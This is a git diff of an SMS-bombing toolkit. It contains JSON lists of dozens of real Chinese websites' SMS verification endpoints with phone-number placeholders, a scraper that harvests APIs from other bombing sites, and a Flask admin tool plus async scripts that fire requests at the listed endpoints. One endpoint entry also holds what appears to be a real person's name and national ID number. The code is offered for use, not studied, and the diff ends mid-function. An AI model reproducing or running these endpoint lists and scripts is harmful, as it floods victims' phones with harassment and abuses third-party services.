"http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + "method": "POST", + "header": "", + "data": { + "tips": "1", + "shouji": "[phone]" + } + }, + { + "desc": "保定云", + "url": "https://baodingyun.com.cn/register/send_registerSMS.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "欢动游戏", + "url": "http://www.gm5.com/auth/registerSms.html", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "迈威", + "url": "https://www.maiwe.com.cn/index/sendcode.html", + "method": "GET", + "header": "", + "data": { + "tel": "[phone]" + } + }, + { + "desc": "憨鼠社区", + "url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "天鹅到家", + "url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "诺达筑工", + "url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "栋才智慧", + "url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "工伤预防网上培训平台", + "url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "济宁专技", + "url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "宁夏伊地地质工程有限公司", + "url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "青春大学说", + "url": "http://zycp.qcdxs.com:5001/sms/sendsms", + "method": "POST", + "header": "", + "data": { + "phone_number": "[phone]" + } + }, + { + "desc": "兴业利达电子招投标平台", + "url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + "method": "POST", + "header": "", + "data": { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + } + }, + { + "desc": "火象", + "url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + "method": "POST", + "header": "", + "data": { + "temp": "1", + "phone": "[phone]" + } + }, + { + "desc": "中科教育", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "聚题库", + "url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "苏州高新区教育局", + "url": "https://jssnd.edu.cn/apiu/v1/register/auth", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "专业技术人员继续教育平台", + "url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + "method": "GET", + "header": "", + "data": {} + }, + { + "desc": "泰安专技", + "url": "https://sdta-web.yxlearning.com/sendphoneCode.gson", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]", + "sendType": "4" + } + }, + { + "desc": "志睿择", + "url": "https://www.vipexam.cn/user/identifyingCode.action", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "漏洞银行", + "url": "https://www.bugbank.cn/api/verifymobile", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "中国劳动保障新闻网", + "url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + }, + { + "desc": "广东省心理学会", + "url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + "method": "POST", + "header": "", + "data": { + "phone": "[phone]" + } + }, + { + "desc": "费耘网", + "url": "https://www.feeclouds.com/homepage/register/send", + "method": "POST", + "header": "", + "data": { + "mobile": "[phone]" + } + } +] \ No newline at end of file diff --git a/debug/hz-web.json b/debug/hz-web.json new file mode 100755 index 0000000..70273d7 --- /dev/null +++ b/debug/hz-web.json @@ -0,0 +1,62 @@ +[ + { + "url": "https://duanxin.97sq.com/", + "key": "", + "title": "在线短信测压 97社区短信测压" + }, + { + "url": "https://www.yxdhma.cn/", + "key": "", + "title": "大树免费短信测压" + }, + { + "url": "http://107.173.149.61/index.php", + "key": "", + "title": "在线短信测压 智云短信轰炸" + }, + { + "url": "http://www.ono.plus/iaJIR00a0sqf/index.php", + "key": "", + "title": "在线短信测压" + }, + { + "url": "http://91zn.top/ylcs/", + "key": "", + "title": "免费短信测压" + }, + { + "url": "http://103.45.122.14/index.php", + "key": "", + "title": "Hello短信测压" + }, + { + "url": "https://ialtone.xyz/message/index.php", + "key": "", + "title": "ialtone的短信测压站" + }, + { + "url": "http://lzc.muigs.xyz/index2.php?", + "key": "", + "title": "短信测压-冷之晨" + }, + { + "url": "http://101.132.154.124:1200/index.php", + "key": "", + "title": "在线短信测压轰炸" + }, + { + "url": "https://ceya.kpxdr.com/index.php", + "key": "", + "title": "在线短信测压—云端轰炸" + }, + { + "url": "https://128.14.239.248/index.php", + "key": "", + "title": "在线短信测压 秋思短信轰炸" + }, + { + "url": "http://101.43.16.51:665/index.php", + "key": "", + "title": "" + } +] \ No newline at end of file diff --git a/debug/spider-api.py b/debug/spider-api.py new file mode 100755 index 0000000..ae8a6c0 --- /dev/null +++ b/debug/spider-api.py @@ -0,0 +1,224 @@ +#!/usr/bin/python python3 +# coding=utf-8 +# 爬取轰炸平台接口 +from loguru import logger +import httpx +import requests +import re +from utils import Sql +import queue +import pathlib +import threading +import sys +import json +from prettytable import PrettyTable +import click +import urllib3 +urllib3.disable_warnings() + +# logger config +logger.remove() +logger.add( + sink=sys.stdout, + format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", + colorize=True, + backtrace=True +) + + +path = pathlib.Path(__file__).parent +header = { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", +} + + +class SMS(object): + # 默认的请求密钥 + default_phone = "15019682928" + key_default = f"?hm={default_phone}&ok=" + + def __init__(self, website, key) -> None: + self.url = website + self.header = header + if key == "": + self.key = self.key_default + self.api_queue = queue.Queue() + self.db = Sql() + self.lock = threading.Lock() + self.ok_api = 0 + + def get_sms_api(self): + '''请求短信轰炸平台''' + with httpx.Client(verify=False) as ses: + ses.get(self.url, headers=self.header) + resp = ses.get(f"{self.url}{self.key}", headers=self.header) + + pat = re.compile(r" tuple: + """check api web is ok? + :return: tuple + """ + if url is None: + return + with httpx.Client(headers=header, verify=False) as client: + try: + resp = client.get(url=url).text + title = re.findall('(.*?)', resp) + if title: + logger.info(f"{url} title:{title[0]}") + return (title[0], url) + except httpx.HTTPError as why: + logger.error(f"{url} 请求错误! {why}") + + return + + +def load_api_web(): + """从 json 文件加载轰炸网址.并测试! + :return: + """ + json_path = pathlib.Path(path, 'hz-web.json') + table = PrettyTable(["标题", "链接"]) + if not json_path.exists(): + logger.error(f"hz-web.json not exists in {str(json_path)}!") + return + j = json_path.read_text(encoding="utf8") + ok_web = [] + try: + webs = json.loads(j) + except json.decoder.JSONDecodeError as why: + logger.error(f"json syctax error! {why}") + return + + for web in webs: + result = test_api_web(web['url']) + if result: + table.add_row([result[0], result[1]]) + ok_web.append( + {"url": result[1], "key": web.get('key'), "title": result[0]}) + + logger.success(f"有效的轰炸网站:\n{table}") + if input(">>是否写入 hz-web.json?(Y/n)") == "Y": + with open(json_path, encoding="utf8", mode="w") as fp: + try: + json.dump(ok_web, fp, ensure_ascii=False) + logger.success("save hz-web.json success!") + except Exception as why: + logger.error(f"write hz-web.json error {why}") + return ok_web + + +@click.group() +def cli(): + pass + + +@click.command() +def spider_all(): + """ + 根据目录下的 hz-web.json 文件更新接口 + """ + websites = load_api_web() + for website in websites: + logger.info(f"正在爬取:{website['url']}") + try: + sms = SMS(website=website['url'], key=website['key']).main() + except Exception as why: + logger.critical(f"爬取:{website['url']} 出错:{why}") + + +@click.command() +@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True) +@click.option('--key', help='网址携带的参数(可选)', default="") +def spider_one(url, key): + """爬取单个网址.""" + try: + sms = SMS(website=url, key=key).main() + except Exception as why: + logger.critical(f"爬取:{url} 出错:{why}") + + +@click.command() +@logger.catch +def save_api(): + """保存api到 GETAPI.json 文件""" + db = Sql() + apis = db.select() + api_lst = [ + api + for api in apis + ] + with open("GETAPI.json", mode="w") as j: + json.dump(fp=j, obj=api_lst, ensure_ascii=False) + logger.success("写入到 GETAPI.json 成功!") + + +cli.add_command(spider_all) +cli.add_command(spider_one) +cli.add_command(save_api) + +if __name__ == '__main__': + cli() diff --git a/debug/tou_api.py b/debug/tou_api.py new file mode 100755 index 0000000..5740486 --- /dev/null +++ b/debug/tou_api.py @@ -0,0 +1,40 @@ +# encoding=utf8 +# 从 api.js 偷别人家的接口 +import pathlib +import json +from pydantic import BaseModel +from typing import Optional, Union + +path = pathlib.Path(__file__).parent.resolve() + + +class API(BaseModel): + """处理自定义 API 数据""" + desc: str = "Default" + url: str = "" + method: str = "GET" + header: Optional[Union[str, dict]] = "" + data: Optional[Union[str, dict]] + + +def main(): + with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c: + js = json.load(fp=c) + + apis = [] + for j in js: + # print(j) + api = API() + api.url = j[0] + api.method = j[3] + api.desc = j[2] + api.data = j[4] + apis.append(api.dict()) + # print(apis) + + with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc: + js = json.dump(obj=apis, fp=cc, ensure_ascii=False) + + +if __name__ == "__main__": + main() diff --git a/debug/touapi.json b/debug/touapi.json new file mode 100755 index 0000000..49e6fc3 --- /dev/null +++ b/debug/touapi.json @@ -0,0 +1,533 @@ +[ + [ + "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", + "111", + "迪卡侬", + "POST", + { + "countryCode": "CN", + "mobile": "[phone]" + }, + "https://www.decathlon.com.cn/zh/create" + ], + [ + "https://www.guhai.com.cn/front/member/sendSmsCode", + 60, + "股海网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.guhai.com.cn/register.html" + ], + [ + "http://www.lll.plus/sendCode/", + 60, + "LLL的个人blog", + "POST", + { + "tel": "[phone]", + "forgetPwd": "" + }, + "http://www.lll.plus/register/" + ], + [ + "https://www.xcxui.com/index/register/getcode.html", + 60, + "企米子", + "POST", + { + "tel": "[phone]" + }, + "https://www.xcxui.com/index/register" + ], + [ + "https://id.pgyer.com/user/getRegisterCode", + 60, + "蒲公英", + "POST", + { + "tel": "[phone]", + "callingCode": "86", + "mode": "tel" + }, + "https://id.pgyer.com/user/register?mode=tel" + ], + [ + "https://erp.abiz.com/mobilecode/sendMobileCode", + 60, + "百卓优采", + "POST", + { + "mobile": "[phone]", + "captcha": "" + }, + "https://erp.abiz.com/register" + ], + [ + "https://brand.yunbeilou.com/index.php/smssend", + 30, + "云背篓", + "POST", + { + "phone": "[phone]", + "v": "yes" + }, + "https://brand.yunbeilou.com/index.php/register" + ], + [ + "https://m.php.cn/account/phone_code.html", + 60, + "PHP中文网", + "POST", + { + "phone": "[phone]" + }, + "https://m.php.cn/reg.html" + ], + [ + "http://dhba.12321.cn/api/verifycode", + 60, + "12321", + "POST", + { + "phone": "[phone]" + }, + "http://dhba.12321.cn/user/register" + ], + [ + "https://www.ztestin.com/users/send/vercode", + 60, + "Testin众测", + "POST", + { + "phone": "[phone]", + "type": "register", + "voice": "0" + }, + "https://www.ztestin.com/users/register?from=menu" + ], + [ + "http://maker.haier.net/client/user/sendregistervcode.html", + 60, + "海尔", + "POST", + { + "account": "[phone]" + }, + "http://maker.haier.net/client/mobile/register.html" + ], + [ + "https://www.feimaoyun.com/index.php/invite/h5sendmsg", + 30, + "飞猫云", + "POST", + { + "pcode": "+86", + "phone": "[phone]" + }, + "https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP" + ], + [ + "https://end.huajuetech.com/api/sendCode", + 60, + "华觉数字化平台", + "POST", + { + "mobile": "[phone]", + "email": "null", + "verfy_method": "mobile" + }, + "https://end.huajuetech.com/admin.php/system/Passport/regist.html" + ], + [ + "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", + 120, + "问政江西", + "POST", + { + "phone": "[phone]" + }, + "https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/" + ], + [ + "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", + 60, + "河南智慧党建", + "POST", + { + "phone": "[phone]", + "verifytype": "1" + }, + "http://www.hndyjyfw.gov.cn/register.html" + ], + [ + "https://cloud.666idc.com/index/login/sendsms.html", + 60, + "陆陆陆云安全", + "POST", + { + "mobile": "[phone]", + "mobile_pre": "86" + }, + "https://cloud.666idc.com/index/login/register" + ], + [ + "https://dz.blizzard.cn/action/user/mobile/captcha", + 60, + "网易", + "POST", + { + "mobile": "[phone]" + }, + "https://dz.blizzard.cn/register" + ], + [ + "https://www.codeseeding.com/loginUser/toSend", + 60, + "码云社", + "POST", + { + "phone": "[phone]" + }, + "https://www.codeseeding.com/index" + ], + [ + "http://sso.rcsd.cn/regist/getVerifyCode", + 120, + "人才山东", + "POST", + { + "personcall": "[phone]" + }, + "http://sso.rcsd.cn/regist/registeHome" + ], + [ + "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", + 60, + "水利部", + "POST", + { + "mobile": "[phone]" + }, + "http://sso.mwr.cn/examine/getexamines.jsp" + ], + [ + "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", + 60, + "七联大学", + "POST", + { + "phoneNumber": "[phone]", + "sendType": "0" + }, + "http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp" + ], + [ + "https://www.0101ssd.com/user/sendmsg", + 60, + "闪德资讯", + "POST", + { + "mobile": "[phone]", + "event": "register" + }, + "https://www.0101ssd.com/" + ], + [ + "https://mskzkt.jse.edu.cn/baseApi/user/code/", + 60, + "江苏省名师空中课堂", + "POST", + { + "mobile": "[phone]", + "type": "1" + }, + "https://mskzkt.jse.edu.cn/baseApi/user/code/" + ], + [ + "https://csff.cutv.com/wapi/users/sendregcode", + 60, + "CSFF短片", + "POST", + { + "telphone": "[phone]" + }, + "https://csff.cutv.com/register" + ], + [ + "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", + 60, + "广西人社厅", + "POST", + { + "aae005": "[phone]", + "aac003": "刘萌萌", + "aac002": "210212198506035924", + "notkeyflag": "1" + }, + "http://rswb.gx12333.net/member/register.jhtml" + ], + [ + "https://www.maxell-dm.cn/Code/CheckImage.aspx", + 60, + "麦克赛尔数字映像", + "POST", + { + "action": "send", + "txtMember_Name": "[phone]" + }, + "https://www.maxell-dm.cn/register.aspx" + ], + [ + "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", + 60, + "宝提分", + "POST", + { + "mobile": "[phone]" + }, + "http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?" + ], + [ + "http://www.cnppump.ltd/Service/UserHandler.ashx", + 60, + "选型系统", + "GET", + { + "cmd": "GetTelVerifyCode", + "Tel": "[phone]" + }, + "http://www.cnppump.ltd/Register/RegisterByTel.aspx" + ], + [ + "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", + 60, + "千里马网信科技", + "POST", + { + "tips": "1", + "shouji": "[phone]" + }, + "http://vip.qianlima.com/register.html" + ], + [ + "https://baodingyun.com.cn/register/send_registerSMS.html", + 60, + "保定云", + "POST", + { + "phone": "[phone]" + }, + "https://baodingyun.com.cn/register.html" + ], + [ + "http://www.gm5.com/auth/registerSms.html", + 60, + "欢动游戏", + "POST", + { + "mobile": "[phone]" + }, + "http://www.gm5.com/auth/register.html" + ], + [ + "https://www.maiwe.com.cn/index/sendcode.html", + 60, + "迈威", + "GET", + { + "tel": "[phone]" + }, + "https://www.maiwe.com.cn/index/register.html" + ], + [ + "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", + 60, + "憨鼠社区", + "GET", + {}, + "" + ], + [ + "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", + 60, + "天鹅到家", + "GET", + {}, + "" + ], + [ + "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", + 60, + "诺达筑工", + "GET", + {}, + "" + ], + [ + "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", + 60, + "栋才智慧", + "GET", + {}, + "" + ], + [ + "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", + 60, + "工伤预防网上培训平台", + "GET", + {}, + "" + ], + [ + "https://sdjn-web.yxlearning.com/sendphoneCode.gson", + 60, + "济宁专技", + "POST", + { + "phone": "[phone]", + "sendType": "4" + }, + "https://sdjn-web.yxlearning.com/staffRegister.shtml" + ], + [ + "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", + 60, + "宁夏伊地地质工程有限公司", + "GET", + {}, + "" + ], + [ + "http://zycp.qcdxs.com:5001/sms/sendsms", + 60, + "青春大学说", + "POST", + { + "phone_number": "[phone]" + }, + "http://zycp.qcdxs.com/user/register.html" + ], + [ + "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", + 60, + "兴业利达电子招投标平台", + "POST", + { + "username": "[phone]", + "type": "regUser", + "mobile": "PC" + }, + "https://www.gzxyld.cn/HuiEbid/view/register.html" + ], + [ + "https://v1.alphazone-data.cn/academy/api/v1/sendsms", + 60, + "火象", + "POST", + { + "temp": "1", + "phone": "[phone]" + }, + "https://www.alphazone.com.cn/register.html" + ], + [ + "https://www.vipexam.cn/user/identifyingCode.action", + 60, + "中科教育", + "POST", + { + "phone": "[phone]" + }, + "https://www.vipexam.cn/register.html" + ], + [ + "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", + 60, + "聚题库", + "GET", + {}, + "" + ], + [ + "https://jssnd.edu.cn/apiu/v1/register/auth", + 60, + "苏州高新区教育局", + "POST", + { + "phone": "[phone]" + }, + "https://jssnd.edu.cn/register.html" + ], + [ + "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", + 60, + "专业技术人员继续教育平台", + "GET", + {}, + "" + ], + [ + "https://sdta-web.yxlearning.com/sendphoneCode.gson", + 60, + "泰安专技", + "POST", + { + "phone": "[phone]", + "sendType": "4" + }, + "https://sdta-web.yxlearning.com/staffRegister.shtml" + ], + [ + "https://www.vipexam.cn/user/identifyingCode.action", + 60, + "志睿择", + "POST", + { + "phone": "[phone]" + }, + "https://www.vipexam.cn/register.html" + ], + [ + "https://www.bugbank.cn/api/verifymobile", + 90, + "漏洞银行", + "POST", + { + "mobile": "[phone]" + }, + "https://www.bugbank.cn/bbe/register.html" + ], + [ + "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", + 60, + "中国劳动保障新闻网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.clssn.com/register.html" + ], + [ + "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", + 60, + "广东省心理学会", + "POST", + { + "phone": "[phone]" + }, + "http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1" + ], + [ + "https://www.feeclouds.com/homepage/register/send", + 60, + "费耘网", + "POST", + { + "mobile": "[phone]" + }, + "https://www.feeclouds.com/register.html" + ] +] \ No newline at end of file diff --git a/flask_app/__init__.py b/flask_app/__init__.py new file mode 100755 index 0000000..7ccaca9 --- /dev/null +++ b/flask_app/__init__.py @@ -0,0 +1,63 @@ +# encoding=utf8 +# app 工厂函数 +from flask import Flask,current_app +from flask_sqlalchemy import SQLAlchemy +from flask_admin import Admin +from flask_admin.contrib.sqla import ModelView +from flask_babelex import Babel +import sys +import os +from loguru import logger + + +# 判断系统 +WIN = sys.platform.startswith('win') +if WIN: # 如果是 Windows 系统,使用三个斜线 + prefix = 'sqlite:///' +else: # 否则使用四个斜线 + prefix = 'sqlite:////' + +# 日志处理 +logger.remove() +logger.add( + sink=sys.stdout, + format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", + colorize=True, + backtrace=True +) + +app = Flask(__name__) + + +# app config +class AppConfig: + SQLALCHEMY_DATABASE_URI = prefix + \ + os.path.join(app.root_path, 'data.db') # 数据库路径 + SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控 + FLASK_ADMIN_SWATCH = "cerulean" # admin 主题 + + # 密钥 + SESSION_TYPE = 'filesystem' + SECRET_KEY = os.urandom(24) + + BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化 + + TEST_PHONE = "19820294268" # 测试手机号 + + +app.config.from_object(AppConfig) +# 设置模板全局变量 +# print(app.config.get("TEST_PHONE")) +app.add_template_global(current_app,"current_app") + +# 扩展 +db = SQLAlchemy(app) +babel = Babel(app) + +admin = Admin(app, name="短信接口调试", template_mode='bootstrap3') +from .model import ApisModelVies, Apis +admin.add_view(ApisModelVies(Apis, db.session)) + +# buleprint +from .views import main as main_blueprint +app.register_blueprint(main_blueprint) diff --git a/flask_app/data.db b/flask_app/data.db new file mode 100755 index 0000000..cfc461a Binary files /dev/null and b/flask_app/data.db differ diff --git a/flask_app/model.py b/flask_app/model.py new file mode 100755 index 0000000..d38ed1b --- /dev/null +++ b/flask_app/model.py @@ -0,0 +1,81 @@ +# encoding=utf8 +# 储存数据库模型 +from . import db +from datetime import datetime +from . import ModelView +import json +from typing import Union, Optional +from pydantic import BaseModel + +default_header = { + "User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40" +} + + +class ApisModelVies(ModelView): + create_template = 'api_edit.html' + edit_template = 'api_edit.html' + # 在当前页面编辑 + # create_modal = True + # edit_modal = True + # 启用搜索 + column_searchable_list = ['desc'] + # 可以导出 csv + can_export = True + + +class Apis(db.Model): + id = db.Column(db.Integer, primary_key=True) # 主键 + desc = db.Column(db.String(20), default="Default") # 描述 + url = db.Column(db.String(9999), unique=True, nullable=False) # 链接 + method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法 + header = db.Column(db.String(9999)) # 请求头 + data = db.Column(db.String(9999)) # 请求数据 + add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间 + + +class API(BaseModel): + desc: str = "Default" + url: str + method: str = "GET" + header: Optional[Union[str, dict]] = default_header + data: Optional[Union[str, dict]] + + def replace_data(self, content: Union[str, dict], phone) -> str: + # 统一转换成 str 再替换. + content = str(content).replace("[phone]", phone).replace( + "[timestamp]", self.timestamp_new()).replace("'", '"') + # 尝试 json 化 + try: + # json.loads(content) + # print("json成功",content) + return json.loads(content) + except: + # print("json失败",content) + return content + + def timestamp_new(self) -> str: + """返回整数字符串时间戳""" + return str(int(datetime.now().timestamp())) + + def handle_API(self, phone=None): + """ + :param API: one API basemodel + :return: API basemodel + """ + # 仅仅当传入 phone 参数时添加 Referer + # fix: 这段代码很有问题....... + if phone: + # 进入的 header 是个字符串 + if self.header == "": + self.header = {} + self.header['Referer'] = self.url # 增加 Referer + + self.header = self.replace_data(self.header, phone) + if not self.header.get('Referer'): + self.header['Referer'] = self.url # 增加 Referer + + self.data = self.replace_data(self.data, phone) + self.url = self.replace_data(self.url, phone) + # print(self) + return self diff --git a/flask_app/static/test.js b/flask_app/static/test.js new file mode 100755 index 0000000..9beeaf7 --- /dev/null +++ b/flask_app/static/test.js @@ -0,0 +1,52 @@ + + +function getValue() { + let desc = $("#desc").val(); + let url = $("#url").val(); + let method = $("#method").val(); + let header = $("#header").val(); + let phone = $("#phone").val(); + let data_ = $("#data").val(); + + let data = { + "desc": desc, + "url": url, + "method": method, + "header": header, + "phone": phone, + "data": data_ + }; + + return data; +}; + +$(document).ready(function () { + + + + $("#test").click(function () { + + $.ajax({ + type: "POST", + url: "/testapi/", + contentType: "application/json", + data: JSON.stringify(getValue()), + dataType: "json", + success: function (response) { + if (response.status == 0) { + $("#suc").show().text("请求成功!:" + response.resp); + } else { + $("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp); + } + }, + error: function (XMLHttpRequest, textStatus, errorThrown) { + $("#error").show().text("发送请求错误请检查后端接口:" + textStatus); + }, + }); + + }); + + // console.log(desc, url, method, header); + + +}); \ No newline at end of file diff --git a/flask_app/templates/admin_back.html b/flask_app/templates/admin_back.html new file mode 100755 index 0000000..0b28cce --- /dev/null +++ b/flask_app/templates/admin_back.html @@ -0,0 +1,173 @@ + + + + + + + + 短信轰炸接口调试工具. + + + + + + + + + + + + + + +
+ +

+ 短信接口添加工具 + By 落落 +

+ +
+
+
+ phone +
+ +
+ +
+
+ decs +
+ +
+ +
+
+ URL +
+ +
+ +
+
+ Data +
+ +
+ +
+ +
+
+ header +
+ +
+ +
+
+ 请求方法 +
+ +
+
+ +
+ + +
+ + +
+ +
+ +
+ +
+ + + + +
+ + + + + \ No newline at end of file diff --git a/flask_app/templates/api_edit.html b/flask_app/templates/api_edit.html new file mode 100755 index 0000000..479e81c --- /dev/null +++ b/flask_app/templates/api_edit.html @@ -0,0 +1,16 @@ +{% extends 'admin/model/edit.html' %} + +{% block body %} +

短信接口添加

+

替换字符: 手机号[phone] 时间戳[timestamp]

+{{ super() }} + + +{% endblock %} + + +{% block tail %} + + + +{% endblock %} diff --git a/flask_app/utils.py b/flask_app/utils.py new file mode 100755 index 0000000..8d85dea --- /dev/null +++ b/flask_app/utils.py @@ -0,0 +1,31 @@ +# encoding=utf8 +import httpx +from .model import API, default_header + + +def test_resq(api: API, phone) -> httpx.Response: + """测试 API 返回响应 + :param api: API model + :param phone: 手机号 + :return: httpx 请求对象. + """ + api = api.handle_API(phone) + with httpx.Client(headers=default_header, timeout=8) as client: + # 这个判断没意义.....但是我不知道怎么优化... + # https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package + # Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单 + # sol: 1. 添加额外字段判断... + if not isinstance(api.data, dict): + print("data") + resp = client.request(method=api.method, headers=api.header, + url=api.url, data=api.data) + else: + print('json') + resp = client.request( + method=api.method, headers=api.header, url=api.url, json=api.data) + + return resp + + +if __name__ == '__main__': + pass diff --git a/flask_app/views/__init__.py b/flask_app/views/__init__.py new file mode 100755 index 0000000..b611d9b --- /dev/null +++ b/flask_app/views/__init__.py @@ -0,0 +1,6 @@ +from flask import Blueprint + +main = Blueprint("main",__name__) + +from . import views, error +from .. import db \ No newline at end of file diff --git a/flask_app/views/error.py b/flask_app/views/error.py new file mode 100755 index 0000000..024ce68 --- /dev/null +++ b/flask_app/views/error.py @@ -0,0 +1,16 @@ +#!/usr/bin/python python3 +# coding=utf-8 +from . import main +from flask import redirect, url_for + + +@main.app_errorhandler(404) +def page_not_found(e): + """注册应用全局错误处理""" + print("404") + return redirect(url_for('main.index')) + + +@main.app_errorhandler(401) +def authfail(e): + return redirect('/static/401.jpg') \ No newline at end of file diff --git a/flask_app/views/views.py b/flask_app/views/views.py new file mode 100755 index 0000000..323a133 --- /dev/null +++ b/flask_app/views/views.py @@ -0,0 +1,30 @@ +# encoding=utf8 +# flask app views +from . import main +import json +from ..model import Apis, API +from ..utils import test_resq +from .. import logger +import httpx +from flask_app import db +from flask import request, jsonify + + +@main.route("/", methods=['GET', 'POST']) +def index(): + return "index" + + +@main.route("/testapi/", methods=['GET', 'POST']) +def testapi(): + try: + req = request.json + api = API(**req) + resp = test_resq(api, phone=req.get('phone')) + print(resp.text) + return jsonify({"status": 0, "resp": f"{resp.text}"}) + except httpx.HTTPError as why: + return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"}) + except Exception as why: + logger.exception(why) + return jsonify({"status": 1, "resp": f"其他错误:{why}"}) diff --git a/handle_api.py b/handle_api.py new file mode 100644 index 0000000..c027282 --- /dev/null +++ b/handle_api.py @@ -0,0 +1,104 @@ +# encoding=utf8 +# 维护 api.提供去重等功能 +from pathlib import Path +import json +from threading import Lock +from queue import Queue +from concurrent.futures import ThreadPoolExecutor +import httpx +from httpx import Limits +import asyncio + +from utils.sql import Sql +from utils.req import reqFunc, default_header +from utils.log import logger + +path = Path(__file__).parent.absolute().joinpath("debug", "api.db") + +sql = Sql(db_path=path) +sql.newTable() +lock = Lock() +q = Queue() + + +def read_url() -> str: + global q + with open("GETAPI.json", "r", encoding="utf8") as f: + data = json.load(fp=f) + for d in data: + if not ( + ( + d.startswith("https://") or + d.startswith("http://") + ) and ("[phone]" in d) + ): + # print(f"{d}淘汰") + continue + q.put(d) + logger.info(f"GETAPI接口总数:{q.qsize()}") + return q + + +def test(): + while not q.empty(): + i = q.get() + if reqFunc(i, "19820294268"): + with lock: + sql.update(i) + + +async def test2(): + while not q.empty(): + i = q.get() + _i = i.replace("[phone]", "19820294267") + async with httpx.AsyncClient(headers=default_header, timeout=100, limits=Limits(max_connections=1000, max_keepalive_connections=20), verify=False) as client: + try: + await client.get(_i) + # if r.status_code == 200: + sql.update(i) + 